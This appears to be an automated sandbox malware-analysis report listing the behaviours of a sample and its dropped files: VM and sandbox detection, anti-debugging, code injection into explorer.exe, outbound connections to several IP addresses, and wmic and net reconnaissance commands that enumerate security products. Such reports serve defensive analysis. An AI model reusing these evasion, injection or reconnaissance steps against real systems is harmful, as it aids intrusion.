Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\systeminfo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Checks if the current machine is a virtual machine (disk enumeration)

Source: C:\Users\user\Desktop\ctMI3TYXpX.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\ctMI3TYXpX.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\ctMI3TYXpX.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\ctMI3TYXpX.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\ctMI3TYXpX.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\ctMI3TYXpX.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jghruer	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jghruer	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jghruer	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jghruer	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jghruer	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jghruer	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\35DB.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\35DB.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\35DB.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\35DB.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\35DB.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\35DB.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hdhruer	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hdhruer	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hdhruer	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hdhruer	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hdhruer	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hdhruer	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior

Found evasive API chain (may stop execution after checking mutex)

Source: C:\Windows\SysWOW64\explorer.exe

Evasive API call chain: CreateMutex,DecisionNodes,Sleep

graph_16-882

Queries sensitive Plug and Play Device Information (via WMI, Win32_PnPEntity, often done to detect virtual machines)

Source: C:\Users\user\AppData\Local\Temp\B972.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_PnPEntity WHERE ClassGuid="{50dd5230-ba8a-11d1-bf5d-0000f805f530}"
Source: C:\Windows\System32\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT Name, DeviceID, PNPDeviceID, Manufacturer, Description FROM Win32_PnPEntity WHERE ClassGuid="{50dd5230-ba8a-11d1-bf5d-0000f805f530}"

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Users\user\AppData\Local\Temp\B972.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_NetworkAdapter WHERE PhysicalAdapter=TRUE
Source: C:\Windows\System32\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT Name, MACAddress, ProductName, ServiceName, NetConnectionID FROM Win32_NetworkAdapter WHERE PhysicalAdapter=TRUE
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapter

Queries sensitive service information (via WMI, Win32_StartupCommand, often done to detect sandboxes)

Source: C:\Users\user\AppData\Local\Temp\B972.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_StartupCommand
Source: C:\Windows\System32\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT Name, Location, Command FROM Win32_StartupCommand

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\ctMI3TYXpX.exe	API/Special instruction interceptor: Address: 7FFE2220E814
Source: C:\Users\user\Desktop\ctMI3TYXpX.exe	API/Special instruction interceptor: Address: 7FFE2220D584
Source: C:\Users\user\AppData\Roaming\jghruer	API/Special instruction interceptor: Address: 7FFE2220E814
Source: C:\Users\user\AppData\Roaming\jghruer	API/Special instruction interceptor: Address: 7FFE2220D584
Source: C:\Users\user\AppData\Local\Temp\35DB.exe	API/Special instruction interceptor: Address: 7FFE2220E814
Source: C:\Users\user\AppData\Local\Temp\35DB.exe	API/Special instruction interceptor: Address: 7FFE2220D584
Source: C:\Users\user\AppData\Roaming\hdhruer	API/Special instruction interceptor: Address: 7FFE2220E814
Source: C:\Users\user\AppData\Roaming\hdhruer	API/Special instruction interceptor: Address: 7FFE2220D584

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: hdhruer, 00000008.00000002.2573378504.000000000048E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ASWHOOKS=KR
Source: jghruer, 00000005.00000002.1976948606.000000000056E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ASWHOOK(?
Source: ctMI3TYXpX.exe, 00000000.00000002.1726195283.00000000004DE000.00000004.00000020.00020000.00000000.sdmp, 35DB.exe, 00000006.00000002.2327390421.000000000075E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ASWHOOK

Source: C:\Users\user\AppData\Local\Temp\35DB.exe

Code function: 6_2_00401E65 rdtsc

6_2_00401E65

Source: C:\Windows\SysWOW64\explorer.exe

Code function: 16_2_00141016 RtlMoveMemory,RtlMoveMemory,NtUnmapViewOfSection,GetCurrentProcessId,lstrcmpiA,CreateToolhelp32Snapshot,Process32First,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,Process32Next,CloseHandle,Sleep,

16_2_00141016

Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 371	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 1321	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 674	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 1898	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: foregroundWindowGot 883	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: foregroundWindowGot 868	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Window / User API: threadDelayed 3124
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 2600
Source: C:\Windows\SysWOW64\explorer.exe	Window / User API: threadDelayed 4547
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 4440

Source: C:\Users\user\AppData\Local\Temp\B972.exe

Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes

graph_9-4486

Source: C:\Windows\explorer.exe TID: 7440	Thread sleep count: 371 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 7448	Thread sleep count: 1321 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 7448	Thread sleep time: -132100s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 7444	Thread sleep count: 674 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 7444	Thread sleep time: -67400s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 7792	Thread sleep count: 286 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 7800	Thread sleep count: 266 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 7796	Thread sleep count: 287 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 8000	Thread sleep count: 48 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 7448	Thread sleep count: 1898 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 7448	Thread sleep time: -189800s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe TID: 5100	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe TID: 6104	Thread sleep count: 3124 > 30
Source: C:\Windows\SysWOW64\explorer.exe TID: 6104	Thread sleep time: -3124000s >= -30000s
Source: C:\Windows\explorer.exe TID: 5004	Thread sleep count: 2600 > 30
Source: C:\Windows\explorer.exe TID: 5004	Thread sleep time: -2600000s >= -30000s
Source: C:\Windows\SysWOW64\explorer.exe TID: 3264	Thread sleep count: 4547 > 30
Source: C:\Windows\SysWOW64\explorer.exe TID: 3264	Thread sleep time: -4547000s >= -30000s
Source: C:\Windows\explorer.exe TID: 2132	Thread sleep count: 4440 > 30
Source: C:\Windows\explorer.exe TID: 2132	Thread sleep time: -4440000s >= -30000s

Source: C:\Windows\System32\systeminfo.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS

Source: C:\Users\user\AppData\Local\Temp\B972.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_ComputerSystem
Source: C:\Windows\System32\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT Caption, Manufacturer, PrimaryOwnerName, UserName, Workgroup FROM Win32_ComputerSystem

Source: C:\Users\user\AppData\Local\Temp\B972.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Windows\System32\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT Name, DeviceID, NumberOfCores FROM Win32_Processor
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net accounts /domain
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net accounts /domain			Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\explorer.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\explorer.exe	Last function: Thread delayed
Source: C:\Windows\explorer.exe	Last function: Thread delayed
Source: C:\Windows\explorer.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\B972.exe	Code function: 9_2_00007FF6F2D6FB38 GetEnvironmentVariableW,lstrcatW,lstrcpyW,lstrcatW,FindFirstFileW,lstrcatW,lstrcatW,FindClose,	9_2_00007FF6F2D6FB38
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 13_2_02752B15 FindFirstFileW,lstrcmpiW,lstrcmpiW,StrStrIW,StrStrIW,FindNextFileW,FindClose,	13_2_02752B15
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 13_2_02753ED9 PathCombineW,FindFirstFileW,lstrcmpiW,lstrcmpiW,PathCombineW,lstrcmpiW,PathCombineW,FindNextFileW,FindClose,	13_2_02753ED9
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 13_2_02751D4A FindFirstFileW,lstrcmpiW,lstrcmpiW,lstrcmpiW,FindNextFileW,FindClose,	13_2_02751D4A
Source: C:\Windows\explorer.exe	Code function: 15_2_00CD30A8 FindFirstFileW,FindNextFileW,FindClose,	15_2_00CD30A8

Source: C:\Windows\SysWOW64\explorer.exe

Code function: 13_2_02756512 GetSystemInfo,

13_2_02756512

Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: explorer.exe, 00000001.00000000.1714740559.00000000098A8000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: k&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000
Source: explorer.exe, 00000001.00000000.1714214709.0000000009815000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: NECVMWar VMware SATA CD00\w
Source: explorer.exe, 00000001.00000000.1712544792.00000000078A0000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}$
Source: explorer.exe, 00000001.00000000.1714740559.00000000098A8000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000
Source: explorer.exe, 00000001.00000000.1711147708.0000000001240000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&0000000}
Source: explorer.exe, 00000001.00000000.1714740559.0000000009977000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware SATA CD00
Source: B972.exe, 00000009.00000002.4124068807.000002342E58C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: *Hyper-V Administrators
Source: explorer.exe, 00000001.00000000.1712544792.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: NXTTAVMWare
Source: explorer.exe, 00000001.00000000.1714214709.0000000009815000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f&0&000000
Source: B972.exe, 00000009.00000002.4124955821.000002342E63B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: lgroup & echo 3357828121311360313357828121\r\n\r\nAliases for \\\\user-PC\r\n\r\n-------------------------------------------------------------------------------\r\nAccess Control Assistance Operators\r\nAdministrators\r\nBackup Operators\r\nCryptographic Operators\r\nDevice Owners\r\nDistributed COM Users\r\nEvent Log Readers\r\nGuests\r\nHyper-V Administrators\r\nIIS_IUSRS\r\nNetwork Configuration Operators\r\nPerformance Log Users\r\nPerformance Monitor Users\r\nPower Users\r\nRemote Desktop Users\r\nRemote Management Users\r\nReplicator\r\nSystem Managed Accounts Group\r\n*Users\r\nThe command completed successfully.\r\n\r\n3357828121311360313357828121\r\n\r\nC:\\Users\\user\\AppData\\Local\\Temp>\r\nC:\\Users\\user\\AppData\\Local\\Temp>
Source: explorer.exe, 00000001.00000000.1714214709.00000000097D4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1714214709.000000000982D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.2750919806.0000000002D80000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.2750919806.0000000002DCE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: B972.exe, 00000009.00000003.3467979736.000002342E5FE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Model 143 Stepping 8 GenuineIntel ~2000 Mhz\r\n [02]: Intel64 Family 6 Model 143 Stepping 8 GenuineIntel ~2000 Mhz\r\nBIOS Version: TULH3 5DEYV, 21/11/2022\r\nWindows Directory: C:\\Windows\r\nSystem Directory: C:\\Windows\\system32\r\nBoot Device: \\Device\\HarddiskVolume1\r\nSystem Locale: en-gb;English (United Kingdom)\r\nInput Locale: de-ch;German (Switzerland)\r\nTime Zone: (UTC-05:00) Eastern Time (US & Canada)\r\nTotal Physical Memory: 4'095 MB\r\nAvailable Physical Memory: 2'850 MB\r\nVirtual Memory: Max Size: 8'191 MB\r\nVirtual Memory: Available: 7'113 MB\r\nVirtual Memory: In Use: 1'078 MB\r\nPage File Location(s): C:\\pagefile.sys\r\nDomain: UPf6A\r\nLogon Server: \\\\user-PC\r\nHotfix(s): N/A\r\nNetwork Card(s): 1 NIC(s) Installed.\r\n [01]: Intel(R) 82574L Gigabit Network Connection\r\n Connection Name: Ethernet0\r\n DHCP Enabled: No\r\n IP address(es)\r\n [01]: 192.168.2.4\r\n [02]: fe80::29b9:a951:1791:4eb3\r\nHyper-V Requirements: VM Monitor Mode Extensions: No\r\n Virtualization Enabled In Firmware: No\r\n Second Level Address Translation: No\r\n Data Execution Prevention Available: Yes\r\n2933921759311360312933921759\r\n\r\nC:\\Users\\user\\AppData\\Local\\Temp>uthority","subje
Source: explorer.exe, 00000001.00000000.1714740559.0000000009977000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f42ef&0&000000
Source: explorer.exe, 00000001.00000000.1712544792.0000000007A34000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWen-GBnx
Source: B972.exe, 00000009.00000003.3467979736.000002342E5FE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Requirements: VM Monitor Mode Extensions: No
Source: explorer.exe, 00000001.00000000.1711147708.0000000001240000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000
Source: explorer.exe, 00000001.00000000.1714214709.0000000009660000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\4&224F42EF&0&000000er
Source: ROUTE.EXE, 00000022.00000002.3112493340.0000022FEDB39000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: explorer.exe, 00000001.00000000.1711147708.0000000001240000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}

Source: C:\Users\user\Desktop\ctMI3TYXpX.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\ctMI3TYXpX.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Source: C:\Users\user\Desktop\ctMI3TYXpX.exe	System information queried: CodeIntegrityInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jghruer	System information queried: CodeIntegrityInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\35DB.exe	System information queried: CodeIntegrityInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hdhruer	System information queried: CodeIntegrityInformation	Jump to behavior

Source: C:\Users\user\Desktop\ctMI3TYXpX.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jghruer	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\35DB.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hdhruer	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\35DB.exe

Code function: 6_2_00401E65 rdtsc

6_2_00401E65

Source: C:\Windows\SysWOW64\explorer.exe

Code function: 16_2_00141B17 CloseHandle,RtlMoveMemory,LoadLibraryA,GetProcAddress,LdrProcessRelocationBlock,

16_2_00141B17

Source: C:\Windows\SysWOW64\explorer.exe

16_2_00141016

Source: C:\Users\user\AppData\Local\Temp\B972.exe

9_2_00007FF6F2D63220

Source: C:\Users\user\Desktop\ctMI3TYXpX.exe	Code function: 0_2_004B092B mov eax, dword ptr fs:[00000030h]	0_2_004B092B
Source: C:\Users\user\Desktop\ctMI3TYXpX.exe	Code function: 0_2_004B0D90 mov eax, dword ptr fs:[00000030h]	0_2_004B0D90
Source: C:\Users\user\Desktop\ctMI3TYXpX.exe	Code function: 0_2_005031F6 push dword ptr fs:[00000030h]	0_2_005031F6
Source: C:\Users\user\AppData\Roaming\jghruer	Code function: 5_2_0053092B mov eax, dword ptr fs:[00000030h]	5_2_0053092B
Source: C:\Users\user\AppData\Roaming\jghruer	Code function: 5_2_00530D90 mov eax, dword ptr fs:[00000030h]	5_2_00530D90
Source: C:\Users\user\AppData\Roaming\jghruer	Code function: 5_2_00592E16 push dword ptr fs:[00000030h]	5_2_00592E16
Source: C:\Users\user\AppData\Local\Temp\35DB.exe	Code function: 6_2_005B092B mov eax, dword ptr fs:[00000030h]	6_2_005B092B
Source: C:\Users\user\AppData\Local\Temp\35DB.exe	Code function: 6_2_005B0D90 mov eax, dword ptr fs:[00000030h]	6_2_005B0D90
Source: C:\Users\user\AppData\Local\Temp\35DB.exe	Code function: 6_2_00783242 push dword ptr fs:[00000030h]	6_2_00783242
Source: C:\Users\user\AppData\Roaming\hdhruer	Code function: 8_2_004B1C7A push dword ptr fs:[00000030h]	8_2_004B1C7A
Source: C:\Users\user\AppData\Roaming\hdhruer	Code function: 8_2_01FA0D90 mov eax, dword ptr fs:[00000030h]	8_2_01FA0D90
Source: C:\Users\user\AppData\Roaming\hdhruer	Code function: 8_2_01FA092B mov eax, dword ptr fs:[00000030h]	8_2_01FA092B

Source: C:\Users\user\AppData\Local\Temp\B972.exe

Code function: 9_2_00007FF6F2D625B4 GetProcessHeap,RtlFreeHeap,

9_2_00007FF6F2D625B4

HIPS / PFW / Operating System Protection Evasion

Benign windows process drops PE files

Source: C:\Windows\explorer.exe

File created: 35DB.exe.1.dr

Jump to dropped file

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\explorer.exe	Network Connect: 201.103.8.135 80	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Network Connect: 23.145.40.168 443	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 180.75.11.133 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 23.145.40.164 443	Jump to behavior

Creates a thread in another existing process (thread injection)

Source: C:\Users\user\Desktop\ctMI3TYXpX.exe	Thread created: C:\Windows\explorer.exe EIP: 33C19A8	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jghruer	Thread created: unknown EIP: 8C419A8	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\35DB.exe	Thread created: unknown EIP: 8801970	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hdhruer	Thread created: unknown EIP: 9071970	Jump to behavior

Injects code into the Windows Explorer (explorer.exe)

Source: C:\Windows\explorer.exe	Memory written: PID: 6796 base: 2379C0 value: 90	Jump to behavior
Source: C:\Windows\explorer.exe	Memory written: PID: 7496 base: 7FF72B812D10 value: 90	Jump to behavior
Source: C:\Windows\explorer.exe	Memory written: PID: 5804 base: 2379C0 value: 90	Jump to behavior
Source: C:\Windows\explorer.exe	Memory written: PID: 7524 base: 7FF72B812D10 value: 90	Jump to behavior
Source: C:\Windows\explorer.exe	Memory written: PID: 5088 base: 2379C0 value: 90	Jump to behavior
Source: C:\Windows\explorer.exe	Memory written: PID: 4092 base: 7FF72B812D10 value: 90	Jump to behavior

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\ctMI3TYXpX.exe	Section loaded: NULL target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\Desktop\ctMI3TYXpX.exe	Section loaded: NULL target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jghruer	Section loaded: NULL target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jghruer	Section loaded: NULL target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\35DB.exe	Section loaded: NULL target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\35DB.exe	Section loaded: NULL target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hdhruer	Section loaded: NULL target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hdhruer	Section loaded: NULL target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior

Writes to foreign memory regions

Source: C:\Windows\explorer.exe	Memory written: C:\Windows\SysWOW64\explorer.exe base: 2379C0	Jump to behavior
Source: C:\Windows\explorer.exe	Memory written: C:\Windows\SysWOW64\explorer.exe base: 2379C0	Jump to behavior
Source: C:\Windows\explorer.exe	Memory written: C:\Windows\SysWOW64\explorer.exe base: 2379C0	Jump to behavior

Source: C:\Windows\SysWOW64\explorer.exe	Code function: wsprintfA,RtlMoveMemory,CreateToolhelp32Snapshot,Process32First,CharLowerA,lstrcmpiA,lstrcmpiA,Process32Next,CloseHandle,Sleep, explorer.exe		19_2_02EF10A5
Source: C:\Windows\SysWOW64\explorer.exe	Code function: RtlMoveMemory,RtlMoveMemory,NtUnmapViewOfSection,GetCurrentProcessId,wsprintfA,RtlMoveMemory,CreateToolhelp32Snapshot,Process32First,CharLowerA,lstrcmpiA,lstrcmpiA,Process32Next,CloseHandle,Sleep, explorer.exe		19_2_02EF1016

Source: C:\Users\user\AppData\Local\Temp\B972.exe	Process created: C:\Windows\System32\cmd.exe cmd	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /format:csv	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\SecurityCenter2 Path FirewallProduct Get displayName /format:csv	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\SecurityCenter2 Path AntiSpywareProduct Get displayName /format:csv	Jump to behavior
